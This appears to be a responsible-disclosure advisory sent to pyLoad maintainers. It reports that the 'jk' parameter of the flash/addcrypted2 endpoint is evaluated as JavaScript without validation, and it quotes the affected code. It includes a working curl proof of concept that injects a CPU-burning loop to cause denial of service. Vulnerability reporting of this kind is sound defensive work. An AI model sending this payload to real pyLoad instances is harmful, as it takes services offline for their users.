Description

Dear Maintainers, I am writing to you on behalf of the Tencent AI Sec. We have identified a potential vulnerability in one of your products and would like to report it to you for further investigation and mitigation.

Summary

The jk parameter is received in pyLoad CNL Blueprint. Due to the lack of jk parameter verification, the jk parameter input by the user is directly determined as dykpy.evaljs(), resulting in the server CPU being fully occupied and the web-ui becoming unresponsive.

Details

  • Endpoint: flash/addcrypted2
  • affected file: https://github.com/pyload/pyload/blob/develop/src/pyload/webui/app/blueprints/cnl_blueprint.py#L123 https://github.com/pyload/pyload/blob/develop/src/pyload/core/utils/misc.py#L42

affected code

@bp.route("/flash/addcrypted2", methods=["POST"], endpoint="addcrypted2")
@local_check
def addcrypted2():
    package = flask.request.form.get(
        "package", flask.request.form.get("source", flask.request.form.get("referer"))
    )
    crypted = flask.request.form["crypted"]
    jk = flask.request.form["jk"]
    pack_password = flask.request.form.get("passwords")

    crypted = standard_b64decode(unquote(crypted.replace(" ", "+")))
    jk = eval_js(f"{jk} f()")


def eval_js(script, es6=False):
    if sys.version_info < (3, 12):
        return (js2py.eval_js6 if es6 else js2py.eval_js)(script)
    else:
        return dukpy.evaljs(script)

PoC

download pyload and run locally, send the following request

  • PoC
curl -X POST "http://localhost:8000/flash/addcrypted2" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "crypted=SGVsbG8gd29ybGQ=" \
  -d "passwords=pyload" \
  -d "jk=const start = Date.now();%0Awhile (Date.now() - start < 30_000) {} //"

The 30_000 can be modified to any large value.

Impact

System resources are exhausted, causing services to be temporarily interrupted or stopped, making them inaccessible to normal users.

Use the following command to check CPU usage

top -pid $(pgrep -f "pyload.__main__")

or

top -pid $(pgrep -f "pyload")
